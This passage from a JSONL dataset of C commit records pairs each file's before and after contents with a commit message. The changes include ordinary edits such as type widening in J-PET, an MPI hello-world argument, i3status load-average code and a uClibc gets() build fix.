getNbOfAllEvents() const =0; \n  virtual TObject* getObjectFromFile(const char* name)=0;\n  \n  virtual bool openFileAndLoadData(const char* filename, const char* treename)=0;\n  virtual void closeFile()=0; \n};\n#endif \/*  !JPETREADERINTERFACE_H *\/\n\n","new_contents":"\/**\n *  @copyright Copyright 2016 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file JPetReaderInterface.h \n *\/\n\n#ifndef JPETREADERINTERFACE_H \n#define JPETREADERINTERFACE_H \n\n#include <TNamed.h> \/\/ for Event typedef\n\nclass JPetReaderInterface {\n public:\n  typedef TObject MyEvent; \n  virtual ~JPetReaderInterface() {;}\n  virtual MyEvent& getCurrentEvent()=0;   \n  virtual bool nextEvent()=0;\n  virtual bool firstEvent()=0;\n  virtual bool lastEvent()=0;\n  virtual bool nthEvent(long long int n)=0;\n  virtual long long getCurrentEventNumber() const =0;\n  virtual long long getNbOfAllEvents() const =0; \n  virtual TObject* getObjectFromFile(const char* name)=0;\n  \n  virtual bool openFileAndLoadData(const char* filename, const char* treename)=0;\n  virtual void closeFile()=0; \n};\n#endif \/*  !JPETREADERINTERFACE_H *\/\n\n","subject":"Change int to long long","message":"Change int to long long\n","lang":"C","license":"apache-2.0","repos":"alexkernphysiker\/j-pet-framework,alexkernphysiker\/j-pet-framework,alexkernphysiker\/j-pet-framework,alexkernphysiker\/j-pet-framework,JPETTomography\/j-pet-framework,JPETTomography\/j-pet-framework,alexkernphysiker\/j-pet-framework,JPETTomography\/j-pet-framework"}
{"commit":"e192c702e056dd62480ac3a31fe44a4038d5cb0e","old_file":"modules\/template\/src\/hello.c","new_file":"modules\/template\/src\/hello.c","old_contents":"\/*\n * Sample MPI \"hello world\" application in C\n *\n * J. Hursey\n *\n *\/\n\n#include <stdio.h>\n#include \"mpi.h\"\n\nint main(int argc, char* argv[])\n{\n    int rank, size, len;\n    char processor[MPI_MAX_PROCESSOR_NAME];\n\n    \/*\n     * Initialize the MPI library\n     *\/\n    MPI_Init(&argc, &argv);\n\n    \/*\n     * Get my 'rank' (unique ID)\n     *\/\n    MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n\n    \/*\n     * Get the size of the world (How many other 'processes' are there)\n     *\/\n    MPI_Comm_size(MPI_COMM_WORLD, &size);\n\n    \/*\n     * Get the processor name (usually the hostname)\n     *\/\n    MPI_Get_processor_name(processor, &len);\n\n    \/*\n     * Print a message from this process\n     *\/\n    printf(\"Hello, world! I am %2d of %d on %s!\\n\", rank, size, processor);\n\n    \/*\n     * Shutdown the MPI library before exiting\n     *\/\n    MPI_Finalize();\n\n    return 0;\n}\n","new_contents":"\/*\n * Sample MPI \"hello world\" application in C\n *\n * J. Hursey\n *\n *\/\n\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include \"mpi.h\"\n\nint main(int argc, char* argv[])\n{\n    int rank, size, len;\n    char processor[MPI_MAX_PROCESSOR_NAME];\n    char *name = NULL;\n\n    \/*\n     * Initialize the MPI library\n     *\/\n    MPI_Init(&argc, &argv);\n\n    \/*\n     * Check to see if we have a command line argument for the name\n     *\/\n    if( argc > 1 ) {\n        name = strdup(argv[1]);\n    }\n    else {\n        name = strdup(\"World\");\n    }\n\n    \/*\n     * Get my 'rank' (unique ID)\n     *\/\n    MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n\n    \/*\n     * Get the size of the world (How many other 'processes' are there)\n     *\/\n    MPI_Comm_size(MPI_COMM_WORLD, &size);\n\n    \/*\n     * Get the processor name (usually the hostname)\n     *\/\n    MPI_Get_processor_name(processor, &len);\n\n    \/*\n     * Print a message from this process\n     *\/\n    printf(\"Hello, %s! I am %2d of %d on %s!\\n\", name, rank, size, processor);\n\n    \/*\n     * Shutdown the MPI library before exiting\n     *\/\n    MPI_Finalize();\n\n    \/*\n     * Cleanup\n     *\/\n    if( NULL != name ) {\n        free(name);\n        name = NULL;\n    }\n\n    return 0;\n}\n","subject":"Add an optional command line parameter to demostrate a custom form field","message":"Add an optional command line parameter to demostrate a custom form field\n","lang":"C","license":"bsd-3-clause","repos":"OnRampOrg\/onramp,OnRampOrg\/onramp,ssfoley\/onramp,koepked\/onramp,koepked\/onramp,koepked\/onramp,koepked\/onramp,koepked\/onramp,ssfoley\/onramp,OnRampOrg\/onramp,OnRampOrg\/onramp,koepked\/onramp,ssfoley\/onramp,OnRampOrg\/onramp,OnRampOrg\/onramp,ssfoley\/onramp,OnRampOrg\/onramp"}
{"commit":"90fd5ea47ef2c91bc908165a9acd946977155e86","old_file":"include\/flatcc\/portable\/pstdalign.h","new_file":"include\/flatcc\/portable\/pstdalign.h","old_contents":"#ifndef PSTDALIGN_H\n#define PSTDALIGN_H\n\n#ifndef __alignas_is_defined\n\n#ifndef __cplusplus\n\n#if (defined(__STDC__) && __STDC__ && defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L) \n\/* C11 or newer *\/\n#include <stdalign.h>\n#else\n\n#if defined(__GNUC__) || defined (__IBMC__) || defined(__clang__)\n#define _Alignas(t) __attribute__((__aligned__(t)))\n#define _Alignof(t) __alignof__(t)\n#elif defined(_MSC_VER)\n#define _Alignas(t) __declspec (align(t))\n#define _Alignof(t) __alignof(t)\n#else\n#error please update pstdalign.h with support for current compiler\n#endif\n\n#define alignas _Alignas\n#define alignof _Alignof\n\n#define __alignas_is_defined 1\n#define __alignof_is_defined 1\n\n#endif \/* __STDC_VERSION__ *\/\n\n#endif \/* __cplusplus *\/\n#endif \/* __alignas__is_defined *\/\n#endif \/* PSTDALIGN_H *\/\n","new_contents":"#ifndef PSTDALIGN_H\n#define PSTDALIGN_H\n\n#ifndef __alignas_is_defined\n#ifndef __cplusplus\n\n#if ((__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 7)) || defined(__IBMC__)\n#undef PORTABLE_C11_STDALIGN_MISSING\n#define PORTABLE_C11_STDALIGN_MISSING\n#endif\n\n#if (defined(__STDC__) && __STDC__ && defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L) && \\\n    !defined(PORTABLE_C11_STDALIGN_MISSING)\n\/* C11 or newer *\/\n#include <stdalign.h>\n\n#else\n\n#if defined(__GNUC__) || defined (__IBMC__) || defined(__clang__)\n#define _Alignas(t) __attribute__((__aligned__(t)))\n#define _Alignof(t) __alignof__(t)\n#elif defined(_MSC_VER)\n#define _Alignas(t) __declspec (align(t))\n#define _Alignof(t) __alignof(t)\n#define alignas _Alignas\n#define alignof _Alignof\n\n#define __alignas_is_defined 1\n#define __alignof_is_defined 1\n\n#else\n#error please update pstdalign.h with support for current compiler\n#endif\n\n#endif \/* __STDC__ *\/\n\n#endif \/* __cplusplus *\/\n#endif \/* __alignas__is_defined *\/\n#endif \/* PSTDALIGN_H *\/\n","subject":"Handle C11 compilers witout stdalign","message":"Handle C11 compilers witout stdalign\n","lang":"C","license":"apache-2.0","repos":"dvidelabs\/flatcc,skhoroshavin\/flatcc,skhoroshavin\/flatcc,dvidelabs\/flatcc,skhoroshavin\/flatcc,dvidelabs\/flatcc"}
{"commit":"9ebd09954a3b53fa5d87e8e3f1b1bb49c15b62e5","old_file":"PolyMapGenerator\/LineEquation.h","new_file":"PolyMapGenerator\/LineEquation.h","old_contents":"#ifndef LINE_EQUATION_H\n#define LINE_EQUATION_H\n\n#include \"Vector2.h\"\n\nclass LineEquation\n{\npublic:\n\tLineEquation();\n\tLineEquation(Vector2 a, Vector2 b);\n\tLineEquation(Vector2 p, double m);\n\t\n\t~LineEquation();\n\n\tLineEquation(const LineEquation& e);\n\tLineEquation(LineEquation&& e);\n\n\tLineEquation& operator=(const LineEquation& e);\n\tLineEquation& operator=(LineEquation&& e);\n\n\tdouble operator()(const double x);\n\n\tvoid Move(const Vector2 v);\n\tVector2 Intersection(LineEquation& e) const;\n\tbool IsHorizontal();\n\tbool IsVertical();\n\n\tdouble m;\n\tdouble b;\n\tbool vertical;\n};\n\n#endif","new_contents":"#ifndef LINE_EQUATION_H\n#define LINE_EQUATION_H\n\n#include \"Vector2.h\"\n\nclass LineEquation\n{\npublic:\n\tLineEquation();\n\tLineEquation(Vector2 p1, Vector2 p2);\n\tLineEquation(Vector2 p, double m);\n\t\n\t~LineEquation();\n\n\tLineEquation(const LineEquation& e);\n\tLineEquation(LineEquation&& e);\n\n\tLineEquation& operator=(const LineEquation& e);\n\tLineEquation& operator=(LineEquation&& e);\n\n\tdouble operator()(const double x);\n\n\tvoid Move(const Vector2 v);\n\tVector2 Intersection(LineEquation& e) const;\n\tbool IsHorizontal();\n\tbool IsVertical();\n\n\tdouble m;\n\tdouble b;\n\tbool vertical;\n};\n\n#endif","subject":"Modify parameter's name (name conflict)","message":"Modify parameter's name (name conflict)\n","lang":"C","license":"mit","repos":"utilForever\/PolyMapGenerator"}
{"commit":"87239eaa106a3d4ada4f538b885d9372afa93c6c","old_file":"include\/GLState.h","new_file":"include\/GLState.h","old_contents":"\/\/\n\/\/  Created by Asger Nyman Christiansen on 08\/01\/2017.\n\/\/  Copyright © 2017 Asger Nyman Christiansen. All rights reserved.\n\/\/\n\n#pragma once\n\nnamespace gle\n{\n    class GLState\n    {\n    public:\n        static void cull_back_faces(bool enable)\n        {\n            static bool currently_enabled = true;\n            if(currently_enabled != enable)\n            {\n                if(enable)\n                {\n                    glEnable(GL_CULL_FACE);\n                    glCullFace(GL_BACK);\n                }\n                else {\n                    glDisable(GL_CULL_FACE);\n                }\n                currently_enabled = enable;\n            }\n        }\n        \n        static void depth_test(bool enable)\n        {\n            static bool currently_enabled = false;\n            if(currently_enabled != enable)\n            {\n                if(enable)\n                {\n                    glEnable(GL_DEPTH_TEST);\n                }\n                else {\n                    glDisable(GL_DEPTH_TEST);\n                }\n                currently_enabled = enable;\n            }\n        }\n        \n        static void depth_write(bool enable)\n        {\n            static bool currently_enabled = true;\n            if(currently_enabled != enable)\n            {\n                if(enable)\n                {\n                    glDepthMask(GL_TRUE);\n                }\n                else {\n                    glDepthMask(GL_FALSE);\n                }\n                currently_enabled = enable;\n            }\n        }\n    };\n}\n","new_contents":"\/\/\n\/\/  Created by Asger Nyman Christiansen on 08\/01\/2017.\n\/\/  Copyright © 2017 Asger Nyman Christiansen. All rights reserved.\n\/\/\n\n#pragma once\n\nnamespace gle\n{\n    class GLState\n    {\n    public:\n        static void cull_back_faces(bool enable)\n        {\n            static bool currently_enabled = false;\n            if(currently_enabled != enable)\n            {\n                if(enable)\n                {\n                    glEnable(GL_CULL_FACE);\n                    glCullFace(GL_BACK);\n                }\n                else {\n                    glDisable(GL_CULL_FACE);\n                }\n                currently_enabled = enable;\n            }\n        }\n        \n        static void depth_test(bool enable)\n        {\n            static bool currently_enabled = false;\n            if(currently_enabled != enable)\n            {\n                if(enable)\n                {\n                    glEnable(GL_DEPTH_TEST);\n                }\n                else {\n                    glDisable(GL_DEPTH_TEST);\n                }\n                currently_enabled = enable;\n            }\n        }\n        \n        static void depth_write(bool enable)\n        {\n            static bool currently_enabled = true;\n            if(currently_enabled != enable)\n            {\n                if(enable)\n                {\n                    glDepthMask(GL_TRUE);\n                }\n                else {\n                    glDepthMask(GL_FALSE);\n                }\n                currently_enabled = enable;\n            }\n        }\n    };\n}\n","subject":"Correct initialisation of cull back faces.","message":"Bugfix: Correct initialisation of cull back faces.\n","lang":"C","license":"mit","repos":"asny\/GLEngine"}
{"commit":"7f34eeef5436765c791931b8a75fce002bf9e13a","old_file":"src\/app_mt\/temp_profile.c","new_file":"src\/app_mt\/temp_profile.c","old_contents":"\n#include \"temp_profile.h\"\n#include \"sntp.h\"\n\nfloat\ntemp_profile_get_current_setpoint(const temp_profile_t* profile)\n{\n  int i;\n\n  uint32_t duration_into_profile = sntp_get_time() - profile->start_time;\n  uint32_t step_begin = 0;\n  float last_temp = profile->start_value.value;\n\n  for (i = 0; i < profile->num_steps; ++i) {\n    const temp_profile_step_t* step = &profile->steps[i];\n    uint32_t step_end = step_begin + step[i].duration;\n\n    if (duration_into_profile >= step_begin &&\n        duration_into_profile < step_end) {\n      if (step->type == STEP_HOLD)\n        return step->value.value;\n      else {\n        return last_temp + ((last_temp - step->value.value) * (now - profile->start_time - step_begin) \/ step->duration);\n      }\n    }\n    step_begin += step->duration;\n  }\n\n  return profile->steps[profile->num_steps-1].value.value;\n}\n","new_contents":"\n#include \"temp_profile.h\"\n#include \"sntp.h\"\n\nfloat\ntemp_profile_get_current_setpoint(const temp_profile_t* profile)\n{\n  int i;\n\n  uint32_t duration_into_profile = sntp_get_time() - profile->start_time;\n  uint32_t step_begin = 0;\n  float last_temp = profile->start_value.value;\n\n  for (i = 0; i < profile->num_steps; ++i) {\n    const temp_profile_step_t* step = &profile->steps[i];\n    uint32_t step_end = step_begin + step[i].duration;\n\n    if (duration_into_profile >= step_begin &&\n        duration_into_profile < step_end) {\n      if (step->type == STEP_HOLD)\n        return step->value.value;\n      else {\n        uint32_t duration_into_step = duration_into_profile - step_begin;\n        return last_temp + ((last_temp - step->value.value) * duration_into_step \/ step->duration);\n      }\n    }\n    step_begin += step->duration;\n  }\n\n  return profile->steps[profile->num_steps-1].value.value;\n}\n","subject":"Fix temp profile setpoint interpolation.","message":"Fix temp profile setpoint interpolation.","lang":"C","license":"mit","repos":"brewbit\/model-t,brewbit\/model-t,brewbit\/model-t"}
{"commit":"ea731767b015872398bf555c4e5c813e2516d9a6","old_file":"src\/fclaw2d_include_all.h","new_file":"src\/fclaw2d_include_all.h","old_contents":"","new_contents":"\/*\n  Copyright (c) 2012 Carsten Burstedde, Donna Calhoun\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without\n  modification, are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this\n  list of conditions and the following disclaimer.\n  * Redistributions in binary form must reproduce the above copyright notice,\n  this list of conditions and the following disclaimer in the documentation\n  and\/or other materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n  ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n  WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n  DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n  FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#ifndef FCLAW2D_INCLUDE_ALL_H\n#define FCLAW2D_INCLUDE_ALL_H\n\n#include <fclaw_package.h>\n\n#include <fclaw2d_forestclaw.h>\n#include <fclaw2d_options.h>\n#include <fclaw2d_domain.h>\n#include <fclaw2d_diagnostics.h>\n#include <fclaw2d_convenience.h>\n#include <fclaw2d_global.h>\n#include <fclaw2d_vtable.h>\n\n#include <fclaw2d_map.h>\n#include <p4est_connectivity.h>\n#include <fclaw2d_map_query.h>\n\n#include <fclaw_math.h>\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#if 0\n}                               \/* need this because indent is dumb *\/\n#endif\n#endif\n\n\/* This file is for convenience only and should only be used in \n\tapplications ... *\/\n\n#ifdef __cplusplus\n#if 0\n{\n#endif\n}\n#endif\n\n#endif\n","subject":"Add big include file which can be used for applications","message":"Add big include file which can be used for applications\n","lang":"C","license":"bsd-2-clause","repos":"ForestClaw\/forestclaw,ForestClaw\/forestclaw,ForestClaw\/forestclaw,ForestClaw\/forestclaw,ForestClaw\/forestclaw,ForestClaw\/forestclaw"}
{"commit":"25b8cee970500b0b82324807ad058d55ce10be41","old_file":"src\/ios\/ChromeBluetooth.h","new_file":"src\/ios\/ChromeBluetooth.h","old_contents":"@interface ChromeBluetooth : CDVPlugin {\n    \n}\n\n#pragma mark chrome.bluetoothLowEnergy interface\n\/\/ chrome.bluetooth and chrome.bluetoothLowEnergy uses same file because connect, and disconnect\n\/\/ a deivce requires the same instance of CBCentralManager that found the device.\n\n- (void)connect:(CDVInvokedUrlCommand*)command;\n- (void)disconnect:(CDVInvokedUrlCommand*)command;\n- (void)getService:(CDVInvokedUrlCommand*)command;\n- (void)getServices:(CDVInvokedUrlCommand*)command;\n- (void)getCharacteristic:(CDVInvokedUrlCommand*)command;\n- (void)getCharacteristics:(CDVInvokedUrlCommand*)command;\n- (void)getIncludedServices:(CDVInvokedUrlCommand*)command;\n- (void)getDescriptor:(CDVInvokedUrlCommand*)command;\n- (void)getDescriptors:(CDVInvokedUrlCommand*)command;\n- (void)readCharacteristicValue:(CDVInvokedUrlCommand*)command;\n- (void)writeCharacteristicValue:(CDVInvokedUrlCommand*)command;\n- (void)startCharacteristicNotifications:(CDVInvokedUrlCommand*)command;\n- (void)stopCharacteristicNotifications:(CDVInvokedUrlCommand*)command;\n- (void)readDescriptorValue:(CDVInvokedUrlCommand*)command;\n- (void)writeDescriptorValue:(CDVInvokedUrlCommand*)command;\n- (void)registerBluetoothLowEnergyEvents:(CDVInvokedUrlCommand*)command;\n\n@end","new_contents":"@interface ChromeBluetooth : CDVPlugin {\n    \n}\n\n#pragma mark chrome.bluetoothLowEnergy interface\n\/\/ chrome.bluetooth and chrome.bluetoothLowEnergy uses same file because connect, and disconnect\n\/\/ a deivce requires the same instance of CBCentralManager that found the device.\n\n- (void)connect:(CDVInvokedUrlCommand*)command;\n- (void)disconnect:(CDVInvokedUrlCommand*)command;\n- (void)getService:(CDVInvokedUrlCommand*)command;\n- (void)getServices:(CDVInvokedUrlCommand*)command;\n- (void)getCharacteristic:(CDVInvokedUrlCommand*)command;\n- (void)getCharacteristics:(CDVInvokedUrlCommand*)command;\n- (void)getIncludedServices:(CDVInvokedUrlCommand*)command;\n- (void)getDescriptor:(CDVInvokedUrlCommand*)command;\n- (void)getDescriptors:(CDVInvokedUrlCommand*)command;\n- (void)readCharacteristicValue:(CDVInvokedUrlCommand*)command;\n- (void)writeCharacteristicValue:(CDVInvokedUrlCommand*)command;\n- (void)startCharacteristicNotifications:(CDVInvokedUrlCommand*)command;\n- (void)stopCharacteristicNotifications:(CDVInvokedUrlCommand*)command;\n- (void)readDescriptorValue:(CDVInvokedUrlCommand*)command;\n- (void)writeDescriptorValue:(CDVInvokedUrlCommand*)command;\n- (void)registerBluetoothLowEnergyEvents:(CDVInvokedUrlCommand*)command;\n\n@end\n","subject":"Fix up missing newlines at eof","message":"Fix up missing newlines at eof\n","lang":"C","license":"bsd-3-clause","repos":"pwnall\/cordova-plugin-chrome-apps-bluetooth,MobileChromeApps\/cordova-plugin-chrome-apps-bluetooth,pwnall\/cordova-plugin-chrome-apps-bluetooth,MobileChromeApps\/cordova-plugin-chrome-apps-bluetooth"}
{"commit":"bb50e22fd3ad82381dbf750a790b8380a1a1bba5","old_file":"src\/get_load.c","new_file":"src\/get_load.c","old_contents":"\/\/ vim:ts=8:expandtab\n#include \"i3status.h\"\n\nconst char *get_load() {\n        static char part[512];\n\n\/* Get load *\/\n#ifdef LINUX\n        slurp(\"\/proc\/loadavg\", part, sizeof(part));\n        *skip_character(part, ' ', 3) = '\\0';\n#else\n        \/* TODO: correctly check for NetBSD, check if it works the same on *BSD *\/\n        struct loadavg load;\n        size_t length = sizeof(struct loadavg);\n        int mib[2] = { CTL_VM, VM_LOADAVG };\n        if (sysctl(mib, 2, &load, &length, NULL, 0) < 0)\n                die(\"Could not sysctl({ CTL_VM, VM_LOADAVG })\\n\");\n        double scale = load.fscale;\n        (void)snprintf(part, sizeof(part), \"%.02f %.02f %.02f\",\n                        (double)load.ldavg[0] \/ scale,\n                        (double)load.ldavg[1] \/ scale,\n                        (double)load.ldavg[2] \/ scale);\n#endif\n\n        return part;\n}\n","new_contents":"\/\/ vim:ts=8:expandtab\n#include \"i3status.h\"\n#include <err.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nconst char *get_load() {\n        static char part[512];\n\n\/* Get load *\/\n#if defined(__FreeBSD__) || defined(linux) || defined(__OpenBSD__) || defined(__NetBSD__) || defined(__APPLE__) || defined(sun)\n        double loadavg[3];\n        if (getloadavg(loadavg, 3) == -1)\n                errx(-1, \"getloadavg() failed\\n\");\n        (void)snprintf(part, sizeof(part), \"%1.2f %1.2f %1.2f\", loadavg[0], loadavg[1], loadavg[2]);\n#else\n        part[0] = '\\0';\n#endif\n\n        return part;\n}\n","subject":"Use getloadavg() instead of using \/proc, patch by Baptiste Daroussin","message":"Use getloadavg() instead of using \/proc, patch by Baptiste Daroussin\n","lang":"C","license":"bsd-3-clause","repos":"mkroman\/i3status,dj95\/i3status,lexszero\/i3status,DSMan195276\/i3status,afh\/i3status,opntr\/i3status,Watcom\/i3status,lastorset\/i3status,Yuhta\/i3status,opntr\/i3status,rpetrano\/i3status,JSmith-BitFlipper\/i3status,Gravemind\/i3status,puiterwijk\/i3status,rpetrano\/i3status,i3\/i3status,stettberger\/i3status,lexszero\/i3status,lahwaacz\/i3status,dj95\/i3status,Dettorer\/i3status,Gravemind\/i3status,rpetrano\/i3status,ixjlyons\/i3status,puiterwijk\/i3status,KarboniteKream\/i3status,Gravemind\/i3status,jasperla\/i3status,puiterwijk\/i3status,Watcom\/i3status,ixjlyons\/i3status,lbonn\/i3status,lahwaacz\/i3status,Detegr\/i3status,mkroman\/i3status,puiterwijk\/i3status,Dettorer\/i3status,i3\/i3status,afh\/i3status,glittershark\/i3status,bsdjhb\/i3status,DSMan195276\/i3status,Gravemind\/i3status,afh\/i3status,KarboniteKream\/i3status,jasperla\/i3status,dj95\/i3status,lastorset\/i3status,i3\/i3status,Detegr\/i3status,glittershark\/i3status,jasperla\/i3status,ghedamat\/i3status,peder2tm\/i3status-netdev,rpetrano\/i3status,bsdjhb\/i3status,ghedamat\/i3status,Airblader\/i3status,lahwaacz\/i3status,JSmith-BitFlipper\/i3status,Yuhta\/i3status,lbonn\/i3status,lahwaacz\/i3status,flammi\/i3status,stettberger\/i3status,peder2tm\/i3status-netdev,opntr\/i3status,KarboniteKream\/i3status,DSMan195276\/i3status,ixjlyons\/i3status,mkroman\/i3status,dj95\/i3status,lbonn\/i3status,Dettorer\/i3status,Airblader\/i3status,mkroman\/i3status,Detegr\/i3status,JSmith-BitFlipper\/i3status,i3\/i3status,ghedamat\/i3status,Yuhta\/i3status,flammi\/i3status,glittershark\/i3status,lbonn\/i3status,Airblader\/i3status,Yuhta\/i3status,bsdjhb\/i3status,flammi\/i3status,Watcom\/i3status,KarboniteKream\/i3status,jasperla\/i3status,ghedamat\/i3status,lexszero\/i3status,DSMan195276\/i3status,peder2tm\/i3status-netdev,peder2tm\/i3status-netdev,glittershark\/i3status,ixjlyons\/i3status,JSmith-BitFlipper\/i3status,lexszero\/i3status,Dettorer\/i3status,afh\/i3status,Detegr\/i3status,bsdjhb\/i3status,Airblader\/i3status,opntr\/i3status,Watcom\/i3status,flammi\/i3status"}
{"commit":"7e8c622d155d03fa0bdf039b9d935a44092004a3","old_file":"lib\/zip_err_str.c","new_file":"lib\/zip_err_str.c","old_contents":"","new_contents":"\/*\n   This file was generated automatically by .\/make_zip_err_str.sh\n   from .\/zip.h; make changes there.\n *\/\n\n#include \"zipint.h\"\n\n\f\n\nconst char * const _zip_err_str[] = {\n    \"No error\",\n    \"Multi-disk zip archives not supported\",\n    \"Renaming temporary file failed\",\n    \"Closing zip archive failed\",\n    \"Seek error\",\n    \"Read error\",\n    \"Write error\",\n    \"CRC error\",\n    \"Containing zip archive was closed\",\n    \"No such file\",\n    \"File already exists\",\n    \"Can't open file\",\n    \"Failure to create temporary file\",\n    \"Zlib error\",\n    \"Malloc failure\",\n    \"Entry has been changed\",\n    \"Compression method not supported\",\n    \"Premature EOF\",\n    \"Invalid argument\",\n    \"Not a zip archive\",\n    \"Internal error\",\n    \"Zip archive inconsistent\",\n    \"Can't remove file\",\n    \"Entry has been deleted\",\n    \"Encryption method not supported\",\n    \"Read-only archive\", \n    \"No password provided\",\n    \"Wrong password provided\",\n};\n\nconst int _zip_nerr_str = sizeof(_zip_err_str)\/sizeof(_zip_err_str[0]);\n\n#define N ZIP_ET_NONE\n#define S ZIP_ET_SYS\n#define Z ZIP_ET_ZLIB\n\nconst int _zip_err_type[] = {\n    N,\n    N,\n    S,\n    S,\n    S,\n    S,\n    S,\n    N,\n    N,\n    N,\n    N,\n    S,\n    S,\n    Z,\n    N,\n    N,\n    N,\n    N,\n    N,\n    N,\n    N,\n    N,\n    S,\n    N,\n    N,\n    N, \n    N,\n    N,\n};\n","subject":"Add generated file so that hg HEAD can be used with cmake.","message":"Add generated file so that hg HEAD can be used with cmake.\n","lang":"C","license":"bsd-3-clause","repos":"det\/libzip,det\/libzip,det\/libzip,det\/libzip"}
{"commit":"3893e7e397b3932a3e6e604d2e7a82b260a1133e","old_file":"libc\/stdio\/gets.c","new_file":"libc\/stdio\/gets.c","old_contents":"\/* Copyright (C) 2004       Manuel Novoa III    <mjn3@codepoet.org>\n *\n * GNU Library General Public License (LGPL) version 2 or later.\n *\n * Dedicated to Toni.  See uClibc\/DEDICATION.mjn3 for details.\n *\/\n\n#include \"_stdio.h\"\n\nlink_warning(gets, \"the 'gets' function is dangerous and should not be used.\")\n\n\/* UNSAFE FUNCTION -- do not bother optimizing *\/\n\nlibc_hidden_proto(getchar_unlocked)\nlibc_hidden_proto(__fgetc_unlocked)\nlibc_hidden_proto(__stdin)\n\nchar *gets(char *s)\n{\n\tregister char *p = s;\n\tint c;\n\t__STDIO_AUTO_THREADLOCK_VAR;\n\n\t__STDIO_AUTO_THREADLOCK(stdin);\n\n\t\/* Note: don't worry about performance here... this shouldn't be used!\n\t * Therefore, force actual function call. *\/\n\twhile (((c = getchar_unlocked()) != EOF) && ((*p = c) != '\\n')) {\n\t\t++p;\n\t}\n\tif ((c == EOF) || (s == p)) {\n\t\ts = NULL;\n\t} else {\n\t\t*p = 0;\n\t}\n\n\t__STDIO_AUTO_THREADUNLOCK(stdin);\n\n\treturn s;\n}\n","new_contents":"\/* Copyright (C) 2004       Manuel Novoa III    <mjn3@codepoet.org>\n *\n * GNU Library General Public License (LGPL) version 2 or later.\n *\n * Dedicated to Toni.  See uClibc\/DEDICATION.mjn3 for details.\n *\/\n\n#include \"_stdio.h\"\n\nlink_warning(gets, \"the 'gets' function is dangerous and should not be used.\")\n\n\/* UNSAFE FUNCTION -- do not bother optimizing *\/\n\nlibc_hidden_proto(getchar_unlocked)\nlibc_hidden_proto(__fgetc_unlocked)\n#ifdef __STDIO_GETC_MACRO\nlibc_hidden_proto(__stdin)\n#else\n#define __stdin stdin\n#endif\n\nchar *gets(char *s)\n{\n\tregister char *p = s;\n\tint c;\n\t__STDIO_AUTO_THREADLOCK_VAR;\n\n\t__STDIO_AUTO_THREADLOCK(stdin);\n\n\t\/* Note: don't worry about performance here... this shouldn't be used!\n\t * Therefore, force actual function call. *\/\n\twhile (((c = getchar_unlocked()) != EOF) && ((*p = c) != '\\n')) {\n\t\t++p;\n\t}\n\tif ((c == EOF) || (s == p)) {\n\t\ts = NULL;\n\t} else {\n\t\t*p = 0;\n\t}\n\n\t__STDIO_AUTO_THREADUNLOCK(stdin);\n\n\treturn s;\n}\n","subject":"Build if GETC_MACRO use is disabled","message":"Build if GETC_MACRO use is disabled\n","lang":"C","license":"lgpl-2.1","repos":"ndmsystems\/uClibc,wbx-github\/uclibc-ng,klee\/klee-uclibc,mephi42\/uClibc,waweber\/uclibc-clang,groundwater\/uClibc,ddcc\/klee-uclibc-0.9.33.2,foss-xtensa\/uClibc,ysat0\/uClibc,hwoarang\/uClibc,klee\/klee-uclibc,kraj\/uClibc,gittup\/uClibc,czankel\/xtensa-uclibc,groundwater\/uClibc,foss-xtensa\/uClibc,groundwater\/uClibc,skristiansson\/uClibc-or1k,brgl\/uclibc-ng,majek\/uclibc-vx32,gittup\/uClibc,OpenInkpot-archive\/iplinux-uclibc,groundwater\/uClibc,groundwater\/uClibc,mephi42\/uClibc,waweber\/uclibc-clang,klee\/klee-uclibc,atgreen\/uClibc-moxie,hwoarang\/uClibc,atgreen\/uClibc-moxie,ysat0\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,hwoarang\/uClibc,OpenInkpot-archive\/iplinux-uclibc,mephi42\/uClibc,czankel\/xtensa-uclibc,skristiansson\/uClibc-or1k,hjl-tools\/uClibc,brgl\/uclibc-ng,ffainelli\/uClibc,atgreen\/uClibc-moxie,ffainelli\/uClibc,hwoarang\/uClibc,czankel\/xtensa-uclibc,ddcc\/klee-uclibc-0.9.33.2,ffainelli\/uClibc,gittup\/uClibc,majek\/uclibc-vx32,mephi42\/uClibc,skristiansson\/uClibc-or1k,m-labs\/uclibc-lm32,ysat0\/uClibc,m-labs\/uclibc-lm32,foss-xtensa\/uClibc,hjl-tools\/uClibc,m-labs\/uclibc-lm32,kraj\/uclibc-ng,kraj\/